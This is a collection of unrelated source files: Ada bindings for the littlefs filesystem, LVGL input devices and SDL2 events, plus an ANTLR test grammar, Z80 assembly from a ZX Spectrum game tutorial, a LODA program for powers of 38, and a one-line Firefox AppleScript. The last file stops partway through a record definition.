custom attribute -- -- Custom attributes are uniquely identified by an 8-bit type and limited -- to LFS_ATTR_MAX bytes. When read, if the stored attribute is smaller -- than the buffer, it will be padded with zeros. If the stored attribute -- is larger, then it will be silently truncated. If no attribute is found, -- the error LFS_ERR_NOATTR is returned and the buffer is filled with -- zeros. Returns the size of the attribute, or a negative error code on -- failure. Note, the returned size is the size of the attribute on disk, -- irrespective of the size of the buffer. This can be used to dynamically -- allocate a buffer -- -- or check for existance. function Setattr (LFS : aliased in out LFS_T; Path : String; Id : Interfaces.Unsigned_8; Buffer : System.Address; Size : LFS_Size) return int; -- Set custom attributes -- -- Custom attributes are uniquely identified by an 8-bit type and limited -- to LFS_ATTR_MAX bytes. If an attribute is not found, it will be -- implicitly created. -- -- Returns a negative error code on failure. function Removeattr (LFS : aliased in out LFS_T; Path : String; Id : Interfaces.Unsigned_8) return int; -- Removes a custom attribute -- -- If an attribute is not found, nothing happens. -- -- Returns a negative error code on failure. --------------------- -- File operations -- --------------------- function Open (LFS : aliased in out LFS_T; File : aliased in out LFS_File; Path : String; Flags : LFS_Open_Flags) return int; -- Open a file -- -- The mode that the file is opened in is determined by the flags, which -- are values from the enum lfs_open_flags that are bitwise-ored together. -- -- Returns a negative error code on failure. function Opencfg (LFS : aliased in out LFS_T; File : aliased in out LFS_File; Path : String; Flags : LFS_Open_Flags; Config : aliased lfs_file_config) return int; -- Open a file with extra configuration -- -- The mode that the file is opened in is determined by the flags, which -- are values from the enum lfs_open_flags that are bitwise-ored together. -- The config struct provides additional config options per file as -- described above. The config struct must be allocated while the file is -- open, and the config struct must be zeroed for defaults and backwards -- compatibility. -- -- Returns a negative error code on failure. function Close (LFS : aliased in out LFS_T; File : aliased in out LFS_File) return int; -- Close a file -- -- Any pending writes are written out to storage as though sync had been -- called and releases any allocated resources. -- -- Returns a negative error code on failure. function Sync (LFS : aliased in out LFS_T; File : aliased in out LFS_File) return int; -- Synchronize a file on storage -- -- Any pending writes are written out to storage. -- -- Returns a negative error code on failure. function Read (LFS : aliased in out LFS_T; File : aliased in out LFS_File; Buffer : System.Address; Size : LFS_Size) return LFS_Signed_Size; -- Read data from file -- -- Takes a buffer and size indicating where to store the read data. -- -- Returns the number of bytes read, or a negative error code on failure. function Write (LFS : aliased in out LFS_T; File : aliased in out LFS_File; Buffer : System.Address; Size : LFS_Size) return LFS_Signed_Size; -- Write data to file -- -- Takes a buffer and size indicating the data to write. The file will not -- actually be updated on the storage until either sync or close is called. -- -- Returns the number of bytes written, or a negative error code on -- failure. function Seek (LFS : aliased in out LFS_T; File : aliased in out LFS_File; Off : LFS_Signed_Offset; Whence : int) return LFS_Signed_Offset; -- Change the position of the file -- -- The change in position is determined by the offset and whence flag. -- -- Returns the new position of the file, or a negative error code on -- failure. function Truncate (LFS : aliased in out LFS_T; File : aliased in out LFS_File; Size : LFS_Offset) return int; -- Truncates the size of the file to the specified size -- -- Returns a negative error code on failure. function Tell (LFS : aliased in out LFS_T; File : aliased in out LFS_File) return LFS_Signed_Offset; -- Return the position of the file -- -- Equivalent to lfs_file_seek(lfs, file, 0, LFS_SEEK_CUR) -- -- Returns the position of the file, or a negative error code on failure. function Rewind (LFS : aliased in out LFS_T; File : aliased in out LFS_File) return int; -- Change the position of the file to the beginning of the file -- -- Equivalent to lfs_file_seek(lfs, file, 0, LFS_SEEK_SET) -- -- Returns a negative error code on failure. function Size (LFS : aliased in out LFS_T; File : aliased in out LFS_File) return LFS_Signed_Offset; -- Return the size of the file -- -- Similar to lfs_file_seek(lfs, file, 0, LFS_SEEK_END) -- -- Returns the size of the file, or a negative error code on failure. -------------------------- -- Directory operations -- -------------------------- function Mkdir (LFS : aliased in out LFS_T; Path : String) return int; -- Create a directory -- -- Returns a negative error code on failure. function Open (LFS : aliased in out LFS_T; Dir : aliased in out LFS_Dir; Path : String) return int; -- Open a directory -- -- Once open a directory can be used with read to iterate over files. -- -- Returns a negative error code on failure. function Close (LFS : aliased in out LFS_T; Dir : aliased in out LFS_Dir) return int; -- Close a directory -- -- Releases any allocated resources. -- -- Returns a negative error code on failure. function Read (LFS : aliased in out LFS_T; Dir : aliased in out LFS_Dir; Info : aliased out Entry_Info) return int; -- Read an entry in the directory -- -- Fills out the info structure, based on the specified file or directory. -- -- Returns a positive value on success, 0 at the end of directory, or a -- negative error code on failure. function Seek (LFS : aliased in out LFS_T; Dir : aliased in out LFS_Dir; Off : LFS_Offset) return int; -- Change the position of the directory -- -- The new off must be a value previous returned from tell and specifies an -- absolute offset in the directory seek. -- -- Returns a negative error code on failure. function Tell (LFS : aliased in out LFS_T; Dir : aliased in out LFS_Dir) return LFS_Signed_Offset; -- Return the position of the directory -- -- The returned offset is only meant to be consumed by seek and may not -- make sense, but does indicate the current position in the directory -- iteration. -- -- Returns the position of the directory, or a negative error code on -- failure. function Rewind (LFS : aliased in out LFS_T; Dir : aliased in out LFS_Dir) return int; -- Change the position of the directory to the beginning of the directory -- -- Returns a negative error code on failure. -------------------------------------------- -- Filesystem-level filesystem operations -- -------------------------------------------- function Size (LFS : aliased in out LFS_T) return LFS_Signed_Size; -- Finds the current size of the filesystem -- -- Note: Result is best effort. If files share COW structures, the returned -- size may be larger than the filesystem actually is. -- -- Returns the number of allocated blocks, or a negative error code on -- failure. function Traverse (LFS : aliased in out LFS_T; CB : access function (arg1 : System.Address; arg2 : LFS_Block) return int; Data : System.Address) return int; -- Traverse through all blocks in use by the filesystem -- -- The provided callback will be called with each block address that is -- currently in use by the filesystem. This can be used to determine which -- blocks are in use or how much of the storage is available. -- -- Returns a negative error code on failure. -- Configuration provided during initialization of the littlefs type LFS_Config is record Context : System.Address; -- Opaque user provided context that can be used to pass information to -- the block device operations Read : access function (C : access constant LFS_Config; Block : LFS_Block; Off : LFS_Offset; Buffer : System.Address; Size : LFS_Size) return int; -- Read a region in a block. Negative error codes are propogated to the -- user. Prog : access function (C : access constant LFS_Config; Block : LFS_Block; Off : LFS_Offset; Buffer : System.Address; Size : LFS_Size) return int; -- Program a region in a block. The block must have previously been -- erased. Negative error codes are propogated to the user. May return -- LFS_ERR_CORRUPT if the block should be considered bad. Erase : access function (C : access constant LFS_Config; Block : LFS_Block) return int; -- Erase a block. A block must be erased before being programmed. The -- state of an erased block is undefined. Negative error codes are -- propogated to the user. May return LFS_ERR_CORRUPT if the block -- should be considered bad. Sync : access function (C : access constant LFS_Config) return int; -- Sync the state of the underlying block device. Negative error codes -- are propogated to the user. -- LFS_THREADSAFE not implemented -- Lock the underlying block device. Negative error codes -- are propogated to the user. -- Unlock the underlying block device. Negative error codes -- are propogated to the user. Read_Size : aliased LFS_Size; -- Minimum size of a block read. All read operations will be a multiple -- of this value. Prog_Size : aliased LFS_Size; -- Minimum size of a block program. All program operations will be a -- multiple of this value. Block_Size : aliased LFS_Size; -- Size of an erasable block. This does not impact ram consumption and -- may be larger than the physical erase size. However, non-inlined -- files take up at minimum one block. Must be a multiple of the read -- and program sizes. Block_Count : aliased LFS_Size; -- Number of erasable blocks on the device. Block_Cycles : aliased Interfaces.Integer_32; -- Number of erase cycles before littlefs evicts metadata logs and moves -- the metadata to another block. Suggested values are in the range -- 100-1000, with large values having better performance at the cost -- of less consistent wear distribution. -- -- Set to -1 to disable block-level wear-leveling. Cache_Size : aliased LFS_Size; -- Size of block caches. Each cache buffers a portion of a block in RAM. -- The littlefs needs a read cache, a program cache, and one additional -- cache per file. Larger caches can improve performance by storing more -- data and reducing the number of disk accesses. Must be a multiple of -- the read and program sizes, and a factor of the block size. Lookahead_Size : aliased LFS_Size; -- Size of the lookahead buffer in bytes. A larger lookahead buffer -- increases the number of blocks found during an allocation pass. The -- lookahead buffer is stored as a compact bitmap, so each byte of RAM -- can track 8 blocks. Must be a multiple of 8. Read_Buffer : System.Address; -- Optional statically allocated read buffer. Must be cache_size. By -- default lfs_malloc is used to allocate this buffer. Prog_Buffer : System.Address; -- Optional statically allocated program buffer. Must be cache_size. By -- default lfs_malloc is used to allocate this buffer. Lookahead_Buffer : System.Address; -- Optional statically allocated lookahead buffer. Must be -- lookahead_size and aligned to a 32-bit boundary. By default -- lfs_malloc is used to allocate this buffer. Name_Max : aliased LFS_Size; -- Optional upper limit on length of file names in bytes. No downside -- for larger names except the size of the info struct which is -- controlled by the LFS_NAME_MAX define. Defaults to LFS_NAME_MAX when -- zero. Stored in superblock and must be respected by other littlefs -- drivers. File_Max : aliased LFS_Size; -- Optional upper limit on files in bytes. No downside for larger files -- but must be <= LFS_FILE_MAX. Defaults to LFS_FILE_MAX when zero. -- Stored in superblock and must be respected by other littlefs drivers. Attr_Max : aliased LFS_Size; -- Optional upper limit on custom attributes in bytes. No downside -- for larger attributes size but must be <= LFS_ATTR_MAX. Defaults -- to LFS_ATTR_MAX when zero. end record with Convention => C_Pass_By_Copy; private for File_Kind use (Register => 1, Directory => 2); type Entry_Info is record c_type : aliased Interfaces.Unsigned_8; size : aliased LFS_Size; name : aliased String (1 .. LFS_NAME_MAX + 1); end record with Convention => C_Pass_By_Copy; --------------------------------------- -- internal littlefs data structures -- --------------------------------------- type lfs_cache_t is record block : aliased LFS_Block; off : aliased LFS_Offset; size : aliased LFS_Size; buffer : access Interfaces.Unsigned_8; end record with Convention => C_Pass_By_Copy; type lfs_mdir_array2006 is array (0 .. 1) of aliased LFS_Block; type lfs_mdir_t is record pair : aliased lfs_mdir_array2006; rev : aliased Interfaces.Unsigned_32; off : aliased LFS_Offset; etag : aliased Interfaces.Unsigned_32; count : aliased Interfaces.Unsigned_16; erased : aliased Extensions.bool; split : aliased Extensions.bool; tail : aliased lfs_mdir_array2006; end record with Convention => C_Pass_By_Copy; -- littlefs directory type type lfs_dir_array2006 is array (0 .. 1) of aliased LFS_Block; type LFS_Dir is record next : access LFS_Dir; id : aliased Interfaces.Unsigned_16; c_type : aliased Interfaces.Unsigned_8; m : aliased lfs_mdir_t; pos : aliased LFS_Offset; head : aliased lfs_dir_array2006; end record with Convention => C_Pass_By_Copy; -- littlefs file type type lfs_ctz is record head : aliased LFS_Block; size : aliased LFS_Size; end record with Convention => C_Pass_By_Copy; type LFS_File is record next : access LFS_File; id : aliased Interfaces.Unsigned_16; c_type : aliased Interfaces.Unsigned_8; m : aliased lfs_mdir_t; ctz : aliased lfs_ctz; flags : aliased Interfaces.Unsigned_32; pos : aliased LFS_Offset; block : aliased LFS_Block; off : aliased LFS_Offset; cache : aliased lfs_cache_t; cfg : access constant lfs_file_config; end record with Convention => C_Pass_By_Copy; type lfs_superblock is record version : aliased Interfaces.Unsigned_32; block_size : aliased LFS_Size; block_count : aliased LFS_Size; name_max : aliased LFS_Size; file_max : aliased LFS_Size; attr_max : aliased LFS_Size; end record with Convention => C_Pass_By_Copy; subtype lfs_superblock_t is lfs_superblock; type lfs_gstate_array2006 is array (0 .. 1) of aliased LFS_Block; type lfs_gstate is record tag : aliased Interfaces.Unsigned_32; pair : aliased lfs_gstate_array2006; end record with Convention => C_Pass_By_Copy; subtype lfs_gstate_t is lfs_gstate; -- The littlefs filesystem type type lfs_mlist; type lfs_mlist is record next : access lfs_mlist; id : aliased Interfaces.Unsigned_16; c_type : aliased Interfaces.Unsigned_8; m : aliased lfs_mdir_t; end record with Convention => C_Pass_By_Copy; type lfs_free is record off : aliased LFS_Block; size : aliased LFS_Block; i : aliased LFS_Block; ack : aliased LFS_Block; buffer : access Interfaces.Unsigned_32; end record with Convention => C_Pass_By_Copy; type lfs_array2006 is array (0 .. 1) of aliased LFS_Block; type LFS_T is record rcache : aliased lfs_cache_t; pcache : aliased lfs_cache_t; root : aliased lfs_array2006; mlist : access lfs_mlist; seed : aliased Interfaces.Unsigned_32; gstate : aliased lfs_gstate_t; gdisk : aliased lfs_gstate_t; gdelta : aliased lfs_gstate_t; free : aliased lfs_free; cfg : access constant LFS_Config; name_max : aliased LFS_Size; file_max : aliased LFS_Size; attr_max : aliased LFS_Size; end record with Convention => C_Pass_By_Copy; -- function Migrate (LFS : aliased in out LFS_T; -- Config : aliased in out LFS_Config) -- return int; -- -- Attempts to migrate a previous version of littlefs -- -- -- -- Behaves similarly to the lfs_format function. Attempts to mount -- -- the previous version of littlefs and update the filesystem so it -- -- can be mounted with the current version of littlefs. -- -- Requires a littlefs object and config struct. This clobbers the -- -- littlefs object, and does not leave the filesystem mounted. The -- -- config struct must be zeroed for defaults and backwards -- -- compatibility. -- -- -- -- Returns a negative error code on failure. pragma Inline (Kind); pragma Inline (Name); pragma Inline (Size); pragma Inline (Format); pragma Inline (Mount); pragma Inline (Unmount); pragma Inline (Remove); pragma Inline (Rename); pragma Inline (Stat); pragma Inline (Getattr); pragma Inline (Setattr); pragma Inline (Removeattr); pragma Inline (Open); pragma Inline (Opencfg); pragma Inline (Close); pragma Inline (Sync); pragma Inline (Read); pragma Inline (Write); pragma Inline (Seek); pragma Inline (Truncate); pragma Inline (Tell); pragma Inline (Rewind); pragma Inline (Mkdir); pragma Inline (Traverse); end Littlefs;
ANTLRTestProjects/antbased/CodeCompletion/grammar/org/mypackage/ParserGrammar.g4
timboudreau/ANTLR4-Plugins-for-NetBeans
1
894
/****************************************************** * A multi-line Javadoc-like comment about my grammar * ******************************************************/ parser grammar ParserGrammar; options { tokenVocab=LexerGrammar; } tokens { PG_TOKEN } rule1 : gr1=LG_TOKEN_1* gr2=rule2; rule2 : ILG_1_TOKEN_3+ PG_TOKEN ; rule3 : 'azerty';
src/lv-hal-indev.ads
Fabien-Chouteau/ada-lvlg
3
25065
<filename>src/lv-hal-indev.ads<gh_stars>1-10 with Lv.Area; with System; package Lv.Hal.Indev is type Indev_Type_T is (Type_None, Type_Pointer, Type_Keypad, Type_Button, Type_Encoder); type Indev_State_T is (State_Rel, State_Pr); type Indev_Data_T_Union (Discr : unsigned := 0) is record case Discr is when 0 => Point : aliased Lv.Area.Point_T; when 1 => Key : aliased Uint32_T; when 2 => Btn : aliased Uint32_T; when others => Enc_Diff : aliased Int16_T; end case; end record; pragma Convention (C_Pass_By_Copy, Indev_Data_T_Union); pragma Unchecked_Union (Indev_Data_T_Union); type Indev_Data_T is record Union : aliased Indev_Data_T_Union; User_Data : System.Address; State : aliased Indev_State_T; end record; pragma Convention (C_Pass_By_Copy, Indev_Data_T); type Indev_Drv_T is record C_Type : aliased Indev_Type_T; Read : access function (Data : access Indev_Data_T) return U_Bool; User_Data : System.Address; end record; pragma Convention (C_Pass_By_Copy, Indev_Drv_T); type Indev_T is private; -- Initialize an input device driver with default values. -- It is used to surly have known values in the fields ant not memory junk. -- After it you can set the fields. -- @param driver pointer to driver variable to initialize procedure Init_Drv (Driver : access Indev_Drv_T); -- Register an initialized input device driver. -- @param driver pointer to an initialized 'lv_indev_drv_t' variable (can be local variable) -- @return pointer to the new input device or NULL on error function Register (Driver : access Indev_Drv_T) return Indev_T; -- Get the next input device. -- @param indev pointer to the current input device. NULL to initialize. -- @return the next input devise or NULL if no more. Gives the first input device when the parameter is NULL function Next (Indev : access Indev_T) return access Indev_T; -- Read data from an input device. -- @param indev pointer to an input device -- @param data input device will write its data here -- @return false: no more data; true: there more data to read (buffered) function Read (Indev : access Indev_T; Data : access Indev_Data_T) return U_Bool; private type Indev_T is new System.Address; ------------- -- Imports -- ------------- pragma Import (C, Init_Drv, "lv_indev_drv_init"); pragma Import (C, Register, "lv_indev_drv_register"); pragma Import (C, Next, "lv_indev_next"); pragma Import (C, Read, "lv_indev_read"); for Indev_Type_T'Size use 8; for Indev_Type_T use (Type_None => 0, Type_Pointer => 1, Type_Keypad => 2, Type_Button => 3, Type_Encoder => 4); for Indev_State_T'Size use 8; for Indev_State_T use (State_Rel => 0, State_Pr => 1); end Lv.Hal.Indev;
tutorials/part8/src/menu.asm
Threetwosevensixseven/ZalaXa
5
166189
<gh_stars>1-10 ; menu.asm SetupMenu proc call ClsAttr ; Call another named procedure to do a fast CLS (like GOSUB) Print(MenuText, MenuText.Length); Print text on the screen using ROM routines WaitForSpace: ; All labels inside procedures are local to that procedure halt ; Wait for the next 1/50th second interrupt (like PAUSE 1) ld bc, zeuskeyaddr(" ") ; Get the IO address to input in a, (c) ; Read those 5 keys and zeuskeymask(" ") ; AND with the bit for SPACE jp nz, WaitForSpace ; If it's zero the key is pressed ret ; Otherwise return pend SetupGame proc call ClsAttr ; Clear the 8x2 attributes for a fast CLS before setup call ClsNirvana ld a, WTile.Ship ; WTile.Monster is 0 - the index of the first tile in the set ld (Sprites.BIndex), a ; Set NIRVANA+ sprite B to this sprite index ld a, WTile.Blank ; WTile.Blank is 12 - the index of the blank tile ld (Sprites.AIndex), a ; Set NIRVANA+ sprite A to this sprite index ld a, 120 ; 120 is the dead center in the horizontal axis ld (MovePlayer.X), a ; Set the playing horizontal starting position ld a, 184 ; 96 is the dead center in the vertical axis ld (MovePlayer.Y), a ; Set the playing vertical starting position call NIRVANA_start ; Enable NIRVANA+ ret pend
oeis/009/A009982.asm
neoneye/loda-programs
11
7840
; A009982: Powers of 38. ; 1,38,1444,54872,2085136,79235168,3010936384,114415582592,4347792138496,165216101262848,6278211847988224,238572050223552512,9065737908494995456,344498040522809827328,13090925539866773438464,497455170514937390661632,18903296479567620845142016,718325266223569592115396608,27296360116495644500385071104,1037261684426834491014632701952,39415944008219710658556042674176,1497805872312349005025129621618688,56916623147869262190954925621510144,2162831679619031963256287173617385472 mov $1,38 pow $1,$0 mov $0,$1
Applications/Firefox/windows/windows.applescript
looking-for-a-job/applescript-examples
1
3739
<filename>Applications/Firefox/windows/windows.applescript #!/usr/bin/osascript tell application "Firefox" windows end tell
extern/gnat_sdl/gnat_sdl2/src/sdl_events_h.ads
AdaCore/training_material
15
12571
pragma Ada_2005; pragma Style_Checks (Off); with Interfaces.C; use Interfaces.C; with SDL_stdinc_h; with SDL_keyboard_h; with SDL_joystick_h; with SDL_touch_h; with SDL_gesture_h; with Interfaces.C.Strings; with System; package SDL_events_h is SDL_RELEASED : constant := 0; -- ..\SDL2_tmp\SDL_events.h:49 SDL_PRESSED : constant := 1; -- ..\SDL2_tmp\SDL_events.h:50 SDL_TEXTEDITINGEVENT_TEXT_SIZE : constant := (32); -- ..\SDL2_tmp\SDL_events.h:223 SDL_TEXTINPUTEVENT_TEXT_SIZE : constant := (32); -- ..\SDL2_tmp\SDL_events.h:238 SDL_QUERY : constant := -1; -- ..\SDL2_tmp\SDL_events.h:753 SDL_IGNORE : constant := 0; -- ..\SDL2_tmp\SDL_events.h:754 SDL_DISABLE : constant := 0; -- ..\SDL2_tmp\SDL_events.h:755 SDL_ENABLE : constant := 1; -- ..\SDL2_tmp\SDL_events.h:756 -- arg-macro: procedure SDL_GetEventState (type) -- SDL_EventState(type, SDL_QUERY) -- Simple DirectMedia Layer -- Copyright (C) 1997-2018 <NAME> <<EMAIL>> -- This software is provided 'as-is', without any express or implied -- warranty. In no event will the authors be held liable for any damages -- arising from the use of this software. -- Permission is granted to anyone to use this software for any purpose, -- including commercial applications, and to alter it and redistribute it -- freely, subject to the following restrictions: -- 1. The origin of this software must not be misrepresented; you must not -- claim that you wrote the original software. If you use this software -- in a product, an acknowledgment in the product documentation would be -- appreciated but is not required. -- 2. Altered source versions must be plainly marked as such, and must not be -- misrepresented as being the original software. -- 3. This notice may not be removed or altered from any source distribution. -- --* -- * \file SDL_events.h -- * -- * Include file for SDL event handling. -- -- Set up for C function definitions, even when using C++ -- General keyboard/mouse state definitions --* -- * \brief The types of events that can be delivered. -- --*< Unused (do not remove) -- Application events --*< User-requested quit -- These application events have special meaning on iOS, see README-ios.md for details --*< The application is being terminated by the OS -- Called on iOS in applicationWillTerminate() -- Called on Android in onDestroy() -- --*< The application is low on memory, free memory if possible. -- Called on iOS in applicationDidReceiveMemoryWarning() -- Called on Android in onLowMemory() -- --*< The application is about to enter the background -- Called on iOS in applicationWillResignActive() -- Called on Android in onPause() -- --*< The application did enter the background and may not get CPU for some time -- Called on iOS in applicationDidEnterBackground() -- Called on Android in onPause() -- --*< The application is about to enter the foreground -- Called on iOS in applicationWillEnterForeground() -- Called on Android in onResume() -- --*< The application is now interactive -- Called on iOS in applicationDidBecomeActive() -- Called on Android in onResume() -- -- Display events --*< Display state change -- Window events --*< Window state change --*< System specific event -- Keyboard events --*< Key pressed --*< Key released --*< Keyboard text editing (composition) --*< Keyboard text input --*< Keymap changed due to a system event such as an -- input language or keyboard layout change. -- -- Mouse events --*< Mouse moved --*< Mouse button pressed --*< Mouse button released --*< Mouse wheel motion -- Joystick events --*< Joystick axis motion --*< Joystick trackball motion --*< Joystick hat position change --*< Joystick button pressed --*< Joystick button released --*< A new joystick has been inserted into the system --*< An opened joystick has been removed -- Game controller events --*< Game controller axis motion --*< Game controller button pressed --*< Game controller button released --*< A new Game controller has been inserted into the system --*< An opened Game controller has been removed --*< The controller mapping was updated -- Touch events -- Gesture events -- Clipboard events --*< The clipboard changed -- Drag and drop events --*< The system requests a file open --*< text/plain drag-and-drop event --*< A new set of drops is beginning (NULL filename) --*< Current set of drops is now complete (NULL filename) -- Audio hotplug events --*< A new audio device is available --*< An audio device has been removed. -- Sensor events --*< A sensor was updated -- Render events --*< The render targets have been reset and their contents need to be updated --*< The device has been reset and all textures need to be recreated --* Events ::SDL_USEREVENT through ::SDL_LASTEVENT are for your use, -- * and should be allocated with SDL_RegisterEvents() -- --* -- * This last event is only for bounding internal arrays -- subtype SDL_EventType is unsigned; SDL_FIRSTEVENT : constant unsigned := 0; -- manual fix for Ada because of the function with the same name! --SDL_QUIT : constant unsigned := 256; SDL_QUIT_Evt : constant unsigned := 256; SDL_APP_TERMINATING : constant unsigned := 257; SDL_APP_LOWMEMORY : constant unsigned := 258; SDL_APP_WILLENTERBACKGROUND : constant unsigned := 259; SDL_APP_DIDENTERBACKGROUND : constant unsigned := 260; SDL_APP_WILLENTERFOREGROUND : constant unsigned := 261; SDL_APP_DIDENTERFOREGROUND : constant unsigned := 262; -- manual fix for Ada because of the function with the same name! -- SDL_DISPLAYEVENT : constant unsigned := 336; SDL_DISPLAYEVENT_Evt : constant unsigned := 336; -- manual fix for Ada because of the function with the same name! -- SDL_WINDOWEVENT : constant unsigned := 512; SDL_WINDOWEVENT_Evt : constant unsigned := 512; -- manual fix for Ada because of the function with the same name! -- SDL_SYSWMEVENT : constant unsigned := 513; SDL_SYSWMEVENT_Evt : constant unsigned := 513; SDL_KEYDOWN : constant unsigned := 768; SDL_KEYUP : constant unsigned := 769; SDL_TEXTEDITING : constant unsigned := 770; SDL_TEXTINPUT : constant unsigned := 771; SDL_KEYMAPCHANGED : constant unsigned := 772; SDL_MOUSEMOTION : constant unsigned := 1024; SDL_MOUSEBUTTONDOWN : constant unsigned := 1025; SDL_MOUSEBUTTONUP : constant unsigned := 1026; SDL_MOUSEWHEEL : constant unsigned := 1027; SDL_JOYAXISMOTION : constant unsigned := 1536; SDL_JOYBALLMOTION : constant unsigned := 1537; SDL_JOYHATMOTION : constant unsigned := 1538; SDL_JOYBUTTONDOWN : constant unsigned := 1539; SDL_JOYBUTTONUP : constant unsigned := 1540; SDL_JOYDEVICEADDED : constant unsigned := 1541; SDL_JOYDEVICEREMOVED : constant unsigned := 1542; SDL_CONTROLLERAXISMOTION : constant unsigned := 1616; SDL_CONTROLLERBUTTONDOWN : constant unsigned := 1617; SDL_CONTROLLERBUTTONUP : constant unsigned := 1618; SDL_CONTROLLERDEVICEADDED : constant unsigned := 1619; SDL_CONTROLLERDEVICEREMOVED : constant unsigned := 1620; SDL_CONTROLLERDEVICEREMAPPED : constant unsigned := 1621; SDL_FINGERDOWN : constant unsigned := 1792; SDL_FINGERUP : constant unsigned := 1793; SDL_FINGERMOTION : constant unsigned := 1794; SDL_DOLLARGESTURE : constant unsigned := 2048; SDL_DOLLARRECORD : constant unsigned := 2049; SDL_MULTIGESTURE : constant unsigned := 2050; SDL_CLIPBOARDUPDATE : constant unsigned := 2304; SDL_DROPFILE : constant unsigned := 4096; SDL_DROPTEXT : constant unsigned := 4097; SDL_DROPBEGIN : constant unsigned := 4098; SDL_DROPCOMPLETE : constant unsigned := 4099; SDL_AUDIODEVICEADDED : constant unsigned := 4352; SDL_AUDIODEVICEREMOVED : constant unsigned := 4353; SDL_SENSORUPDATE : constant unsigned := 4608; SDL_RENDER_TARGETS_RESET : constant unsigned := 8192; SDL_RENDER_DEVICE_RESET : constant unsigned := 8193; -- manual fix for Ada because of the function with the same name! -- SDL_USEREVENT : constant unsigned := 32768; SDL_USEREVENT_Evt : constant unsigned := 32768; SDL_LASTEVENT : constant unsigned := 65535; -- ..\SDL2_tmp\SDL_events.h:166 --* -- * \brief Fields shared by every event -- type SDL_CommonEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:173 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:174 end record; pragma Convention (C_Pass_By_Copy, SDL_CommonEvent); -- ..\SDL2_tmp\SDL_events.h:171 --*< In milliseconds, populated using SDL_GetTicks() --* -- * \brief Display state change event data (event.display.*) -- --*< ::SDL_DISPLAYEVENT type SDL_DisplayEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:182 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:183 display : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:184 event : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:185 padding1 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:186 padding2 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:187 padding3 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:188 data1 : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:189 end record; pragma Convention (C_Pass_By_Copy, SDL_DisplayEvent); -- ..\SDL2_tmp\SDL_events.h:180 --*< In milliseconds, populated using SDL_GetTicks() --*< The associated display index --*< ::SDL_DisplayEventID --*< event dependent data --* -- * \brief Window state change event data (event.window.*) -- --*< ::SDL_WINDOWEVENT type SDL_WindowEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:197 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:198 windowID : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:199 event : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:200 padding1 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:201 padding2 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:202 padding3 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:203 data1 : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:204 data2 : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:205 end record; pragma Convention (C_Pass_By_Copy, SDL_WindowEvent); -- ..\SDL2_tmp\SDL_events.h:195 --*< In milliseconds, populated using SDL_GetTicks() --*< The associated window --*< ::SDL_WindowEventID --*< event dependent data --*< event dependent data --* -- * \brief Keyboard button event structure (event.key.*) -- --*< ::SDL_KEYDOWN or ::SDL_KEYUP type SDL_KeyboardEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:213 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:214 windowID : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:215 state : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:216 repeat : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:217 padding2 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:218 padding3 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:219 keysym : aliased SDL_keyboard_h.SDL_Keysym; -- ..\SDL2_tmp\SDL_events.h:220 end record; pragma Convention (C_Pass_By_Copy, SDL_KeyboardEvent); -- ..\SDL2_tmp\SDL_events.h:211 --*< In milliseconds, populated using SDL_GetTicks() --*< The window with keyboard focus, if any --*< ::SDL_PRESSED or ::SDL_RELEASED --*< Non-zero if this is a key repeat --*< The key that was pressed or released --* -- * \brief Keyboard text editing event structure (event.edit.*) -- --*< ::SDL_TEXTEDITING subtype SDL_TextEditingEvent_text_array is Interfaces.C.char_array (0 .. 31); type SDL_TextEditingEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:229 timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:230 windowID : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:231 text : aliased SDL_TextEditingEvent_text_array; -- ..\SDL2_tmp\SDL_events.h:232 start : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:233 length : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:234 end record; pragma Convention (C_Pass_By_Copy, SDL_TextEditingEvent); -- ..\SDL2_tmp\SDL_events.h:227 --*< In milliseconds, populated using SDL_GetTicks() --*< The window with keyboard focus, if any --*< The editing text --*< The start cursor of selected editing text --*< The length of selected editing text --* -- * \brief Keyboard text input event structure (event.text.*) -- --*< ::SDL_TEXTINPUT subtype SDL_TextInputEvent_text_array is Interfaces.C.char_array (0 .. 31); type SDL_TextInputEvent is record c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:244 timestamp : aliased SDL_stdinc_h.Uint32; -- 